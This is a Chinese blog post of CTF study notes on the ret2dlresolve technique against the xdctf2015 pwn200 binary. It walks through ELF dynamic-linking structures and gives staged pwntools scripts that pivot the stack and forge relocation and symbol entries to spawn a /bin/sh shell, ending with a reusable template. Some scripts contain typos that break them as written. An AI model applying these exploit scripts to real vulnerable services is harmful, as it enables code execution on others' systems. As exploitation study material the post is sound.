【pwn学习】- ret2dlresolve

学习了CTF wiki中相关章节,并根据自己的了解整理了笔记。

原理

在第二篇文章 GOT和PLT 中,曾学习了ELF中动态链接的过程。不过在之前的学习中只学习了GOT表和PLT表的运作方式,没有继续深入探究。现在回过头来再思考一下,要问自己个问题,程序是通过什么途径确定GOT表和PLT表的位置和组成结构的呢?

本篇文章将重点学习.dynamic的作用。下面的例子都以 2015 xdctf pwn200为例

首先来看一下文件的section信息

root@kali:~/ctf/buuctf/pwn# readelf -S xdctf2015_pwn200

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.bu[...] NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000020 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481cc 0001cc 0000a0 10   A  6   1  4
  [ 6] .dynstr           STRTAB          0804826c 00026c 00006b 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          080482d8 0002d8 000014 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         080482ec 0002ec 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             0804830c 00030c 000018 08   A  5   0  4
  [10] .rel.plt          REL             08048324 000324 000028 08  AI  5  23  4
  [11] .init             PROGBITS        0804834c 00034c 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        08048370 000370 000060 04  AX  0   0 16
  [13] .plt.got          PROGBITS        080483d0 0003d0 000008 08  AX  0   0  8
  [14] .text             PROGBITS        080483e0 0003e0 000252 00  AX  0   0 16
  [15] .fini             PROGBITS        08048634 000634 000014 00  AX  0   0  4
  [16] .rodata           PROGBITS        08048648 000648 000008 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        08048650 000650 00003c 00   A  0   0  4
  [18] .eh_frame         PROGBITS        0804868c 00068c 000114 00   A  0   0  4
  [19] .init_array       INIT_ARRAY      08049f04 000f04 000004 04  WA  0   0  4
  [20] .fini_array       FINI_ARRAY      08049f08 000f08 000004 04  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049f0c 000f0c 0000e8 08  WA  6   0  4
  [22] .got              PROGBITS        08049ff4 000ff4 00000c 04  WA  0   0  4
  [23] .got.plt          PROGBITS        0804a000 001000 000020 04  WA  0   0  4
 ...

然后我们利用gdb调试程序,看一下.dynamic存储的是什么

pwndbg> x/60x 0x08049f0c
0x8049f0c:      0x00000001      0x00000001      0x0000000c      0x0804834c
0x8049f1c:      0x0000000d      0x08048634      0x00000019      0x08049f04
0x8049f2c:      0x0000001b      0x00000004      0x0000001a      0x08049f08
0x8049f3c:      0x0000001c      0x00000004      0x6ffffef5      0x080481ac
0x8049f4c:      0x00000005      0x0804826c      0x00000006      0x080481cc
0x8049f5c:      0x0000000a      0x0000006b      0x0000000b      0x00000010
0x8049f6c:      0x00000015      0xf7ffd8fc      0x00000003      0x0804a000
0x8049f7c:      0x00000002      0x00000028      0x00000014      0x00000011
0x8049f8c:      0x00000017      0x08048324      0x00000011      0x0804830c
0x8049f9c:      0x00000012      0x00000018      0x00000013      0x00000008

可以看到.dynamic中存储的就是section表中各个section的地址。这里可以学习到.dynamic的作用:动态链接器会从 .dynamic 节中索引到各个目标节

具体的.dynamic的结构可以参考ctfwiki中对于dynamic的介绍

  • 3 : 给出与过程链接表或者全局偏移表相关联的地址,对应的段. got.plt
  • 5 : 此类型表项包含动态字符串表的地址。符号名、库名、和其它字符串都包含在此表中。对应的节的名字应该是. dynstr。

stage-1 栈迁移

将栈劫持到bss节,写入一个binsh字符串并使用write打印

from pwn import *                                                                    
context(log_level='debug', arch='i386', os='linux')                                  
conn = process('./xdctf2015_pwn200')                                                 
gdb.attach(conn, 'b read')                                                           
elf = ELF('./xdctf2015_pwn200')                                                      
# addrs                                                                              
read = elf.plt['read']                                                               
write = elf.plt['write']                                                             
bss = 0x0804a028                                                                     
stack_size = 0x800
fake_stack = bss + stack_size

# gadgets
pop_3time = 0x08048629      # or 0x0804836a
#pop_3time = 0x0804836a
pop_ebp_ret = 0x0804862b
leave_ret = 0x0804851a
 
# stack pivoting
conn.recvuntil(b'2015~!\n')
payload = cyclic(0x6c + 0x4)
payload += p32(read) + p32(pop_3time) + p32(0) + p32(fake_stack) + p32(0x100)
payload += p32(pop_ebp_ret) + p32(fake_stack-4) + p32(leave_ret)

conn.sendline(payload)
sleep(3)
# write binsh
payload = p32(write) + p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()

conn.interactive()

stage-2 利用.rel.plt表调用函数

通过r2的iS命令查看.rel.plt节的地址 0x08048324. 可以看到plt节的实际上是一个存储很多地址的数组,如下面所示

pwndbg> x/10a 0x08048324
0x8048324:      0x804a00c <setbuf@got.plt>      0x107   0x804a010 <read@got.plt>   0x207                                                                                
0x8048334:      0x804a014 <strlen@got.plt>      0x407   0x804a018 <__libc_start_main@got.plt>       0x507                                                               
0x8048344:      0x804a01c <write@got.plt>       0x607

plt[0]位setbut的got表地址,plt[1]位read的got表地址等等,而plt[5]即为write的got表地址。我们可以看到

pwndbg> x/10a 0x804a01c
0x804a01c <write@got.plt>:      0xf7e86010      0x0     0x0     0x0
0x804a02c:      0x0     0x0     0x0     0x0
0x804a03c:      0x0     0x0

我们可以通过plt的地址加上目标函数的offset来调用函数,比如我们可以以如下方式调用write函数

# write(1, save_to, 0x10)
payload = p32(plt) + p32(write_offset) + p32(0) + p32(0x1) + p32(save_to) + p32(0x10)

为什么?

首先看一下我们传入的plt的地址是代码段,具体如下

 ► 0x8048370                         push   dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>                                                                             
  0x8048376                         jmp    dword ptr [0x804a008]         <_dl_runtime_resolve>     

有一个压栈和跳转的操作,这里实际上是在调用 _dl_runtime_resolve(link_map_obj, reloc_offset)函数。jmp命令可以理解为call,而压栈操作实际上是传参的。注意到这里有两个参数,而只有一个压栈操作,所以实际上在执行到0x8048370时,是假设第二个参数reloc_offset已经入栈了,所以我们在构造payload的时候,是把先传入plt的地址,再传入目标函数的偏移。

from pwn import *
context(log_level='debug', arch='i386', os='linux')
conn = process('./xdctf2015_pwn200')
gdb.attach(conn, 'b read')
elf = ELF('./xdctf2015_pwn200')
# addrs
plt = 0x08048370  # the addr of .plt section
read = elf.plt['read']
write = elf.plt['write']
bss = 0x0804a028
stack_size = 0x800
fake_stack = bss + stack_size

# gadgets
pop_3time = 0x08048629      # or 0x0804836a
#pop_3time = 0x0804836a
pop_ebp_ret = 0x0804862b
leave_ret = 0x0804851a
 
# stack pivoting
conn.recvuntil(b'2015~!\n')
payload = cyclic(0x6c + 0x4)
payload += p32(read) + p32(pop_3time) + p32(0) + p32(fake_stack) + p32(0x100)
payload += p32(pop_ebp_ret) + p32(fake_stack-4) + p32(leave_ret)

conn.sendline(payload)

sleep(3)
# write binsh
payload = p32(plt) + p32(0x20)
payload += p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()

conn.interactive()

stage3 伪造.rel.plt的元素

上一步我们传入了write在.rel.plt中的偏移地址来调用write,如果我们在其他地址构造一个合法的.rel.plt项,并且传入该地址的偏移,是否也能成功调用函数呢?

利用readelf查看重定位表项的信息。在stage2中我们也看到.rel.plt的每一项主要有两个内容构成,一个是地址,另一是Info

root@kali:~/ctf/Other/pwn/StackTest# readelf -r xdctf2015_pwn200

Relocation section '.rel.dyn' at offset 0x30c contains 3 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ff4  00000306 R_386_GLOB_DAT    00000000   __gmon_start__
08049ff8  00000706 R_386_GLOB_DAT    00000000   stdin@GLIBC_2.0
08049ffc  00000806 R_386_GLOB_DAT    00000000   stdout@GLIBC_2.0

Relocation section '.rel.plt' at offset 0x324 contains 5 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   setbuf@GLIBC_2.0
0804a010  00000207 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0
0804a014  00000407 R_386_JUMP_SLOT   00000000   strlen@GLIBC_2.0
0804a018  00000507 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804a01c  00000607 R_386_JUMP_SLOT   00000000   write@GLIBC_2.0

.rel.plt结构

typedef struct
{
Elf64_Addr r_offset; /* Address */
// 此处表示的是解析完的函数真实地址存放的位置,
// 即对应解析函数的 GOT 表项地址
Elf64_Xword r_info; /* Relocation type and symbol index */
// 该结构主要用到高某位,表示索引,低位表示类型
// 例如:0x00000607 此处 6 表示索引,7 代表类型,主要用到 6 值,还记得上边在 PLT 中的指令嘛?
//每一个表项的第二条指令, PUSH 了一个索引,所 PUSH 的索引与此相关,
//也就是通过 PLT 中 PUSH 的索引找到当时解析的函数对应的此结构体的
} Elf64_Rel;

下面我们在构造的fake_stack中写入write的重定位表项,并利用stage2的方式调用这个表项

# write /bin/sh
payload = p32(plt)
payload += p32(fake_stack+24-rel_plt) # 伪造的重定位表项到plt的偏移地址
payload += p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload += p32(write_got) + p32(0x607)
# 前面不变
...

sleep(3)
# write binsh
plt = 0x08048370  # the addr of .plt section
rel_plt = 0x08048324 # the addr of .rel.plt section

payload = p32(plt) + p32(fake_stack + 24 - rel_plt)
payload += p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload += p32(write_got) + p32(0x607)      # fake write reloc
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()

conn.interactive()

stage-4

上一阶段,我们伪造了一个重定位表项,并成功调用了write函数。链接的过程中,会通过r_info保存的索引值,去.dynsym中获取符号。write的r_info是607,即write的序号是6,那么在.dynsym的第七项.
注意这里显示的是小端序。比如33000000实际上是0x00000033.

root@kali:~/ctf/Other/pwn/StackTest# readelf -x .dynsym xdctf2015_pwn200

Hex dump of section '.dynsym':
  0x080481cc 00000000 00000000 00000000 00000000 ................
  0x080481dc 33000000 00000000 00000000 12000000 3...............
  0x080481ec 27000000 00000000 00000000 12000000 '...............
  0x080481fc 5c000000 00000000 00000000 20000000 \........... ...
  0x0804820c 20000000 00000000 00000000 12000000  ...............
  0x0804821c 3a000000 00000000 00000000 12000000 :...............
  0x0804822c 4c000000 00000000 00000000 12000000 L...............
  0x0804823c 1a000000 00000000 00000000 11000000 ................
  0x0804824c 2c000000 00000000 00000000 11000000 ,...............
  0x0804825c 0b000000 4c860408 04000000 11001000 ....L...........

为什么要添加 align?

.dynsym 每一项的大小都是0x10,因此伪造.dynsym表项时,需要与.dynsym的起始位置对齐,因此要添加align来对齐。

我们先伪造.dynsym表项,在stage-3的基础上,伪造的fake_write_sym写在fake_stack的第32个字节位置

dynsym = 0x080481cc
# 前面不变
...
# write binsh
align = 0x10 - ((fake_stack + 32 - dynsym) & 0xf)
fake_sym_addr = fake_stack + 32 + align
fakse_write_sym = flat([0x4c, 0, 0, 0x12])

fake_write_sym_index = (fake_sym_addr - dynsym) // 0x10
# 把 0x268 左移8比特相当于变成了 0x26800, 然后做一个或运算加上0x7
# 为什么这里是或运算而不是加呢?
r_info = (fake_write_sym_index << 8) | 0x7
fake_write_rel = flat([write_got, r_info])

payload = p32(plt) + p32(fake_stack + 24 - rel_plt)
payload += p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload += fake_write_rel      # fake write reloc
payload += cyclic(align)
paylaod += fake_write_sym
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()

conn.interactive()

stage-5

上一步我们伪造了write在.dynsym表项的位置,那么内容可否伪造呢?首先要了解到.dynsym的第一个值是函数名在.dynstr中的偏移。例如write的.dynsym第一个参数是0x4c,.dynstr的地址是0x0804826c

pwndbg> x/s 0x0804826c+0x4c
0x80482b8:      "write"

下面我们把write字符串写在栈中,并把偏移位置指向此处。

dynstr = 0x0804826c
# 前面不变
...
# write binsh
align = 0x10 - ((fake_stack + 32 - dynsym) & 0xf)
fake_sym_addr = fake_stack + 32 + align
st_name = fake_sym_addr + 0x10 - dynstr
fakse_write_sym = flat([st_name, 0, 0, 0x12])

fake_write_sym_index = (fake_sym_addr - dynsym) // 0x10
# 把 0x268 左移8比特相当于变成了 0x26800, 然后做一个或运算加上0x7
# 为什么这里是或运算而不是加呢?
r_info = (fake_write_sym_index << 8) | 0x7
fake_write_rel = flat([write_got, r_info])

payload = p32(plt) + p32(fake_stack + 24 - rel_plt)
payload += p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload += fake_write_rel      # fake write reloc
payload += cyclic(align)
paylaod += fake_write_sym
payload += b'write\x00'
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()

conn.interactive()

stage-6

_dl_runtime_resolve 函数最终是依赖函数名来解析目标地址的, 因此在stage-5的基础上,如果改变写入的函数名就能调用其他函数,例如改为system,同时我们把传入的参入顺序改变。

# 前面不变
...
# write binsh
align = 0x10 - ((fake_stack + 32 - dynsym) & 0xf)
fake_sym_addr = fake_stack + 32 + align
st_name = fake_sym_addr + 0x10 - dynstr
fakse_write_sym = flat([st_name, 0, 0, 0x12])

fake_write_sym_index = (fake_sym_addr - dynsym) // 0x10
# 把 0x268 左移8比特相当于变成了 0x26800, 然后做一个或运算加上0x7
# 为什么这里是或运算而不是加呢?
r_info = (fake_write_sym_index << 8) | 0x7
fake_write_rel = flat([write_got, r_info])

payload = p32(plt) + p32(fake_stack + 24 - rel_plt)
payload += p32(0) + p32(fake_stack+0x80) + p32(0x0) + p32(0)
payload += fake_write_rel      # fake write reloc
payload += cyclic(align)
paylaod += fake_write_sym
payload += b'system\x00'
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)

conn.interactive()

运行后成功获取shell

总结

最后来总结一下ret2dlresolve的过程。

  1. linux是根据函数名字去调用系统函数的,如果我们想调用某个函数,例如system, 那么我们需要在内存中写入system字符串。
  2. 写入字符串之后,我们要根据写入的位置到.dynstr的偏移量来构造.dynsym表项;
  3. 构造system的.dynsym表项后,我们同样需要将其写入内存中,并计算写入位置到.dynsym起始位置的偏移。由于.dynsym每一项是固定的0x10,因此写入的时候要注意对齐。
  4. 根据上一步获取的偏移,构造伪造的.rel.plt表项。同样将伪造的表项写入内存;
  5. 最后是利用_dl_runtime_resolve函数来调用目标函数。我们需要通过.plt的地址和伪造的.rel.plt表项来构造payload
system_str_addr = # system字符串的地址
st_name = system_str_addr - dynstr	# 伪造的st_name项
fake_dynsym = flat([st_name, 0, 0, 0x12])
align = 0x10 - ((fake_stack + 32 - dynsym) & 0xf)	# 对齐的填充字符
fake_dynsym_addr = fake_stack + 32 + align	# 伪造的dynsym表项地址

fake_dynsym_addr_index = (fake_dynsym_addr - dynsym) // 0x10
fake_r_info = (fake_dynsym_addr_index << 0x8) | 0x7
fake_rel_plt = flat([func_got, fake_r_info])

payload = p32(plt_addr)
payload += p32(fake_stack + 24 - rel_plt) # 指向伪造的 rel_plt 表项的地址
payload += p32(ret_addr) 
payload += p32(para1) + p32(para2) + p32(para3)
payload += fake_rel_plt # 伪造的rel_plt 表项
payload += align
payload += fake_dynsym	# 伪造的dynsym 表项
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Morphy_Amo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值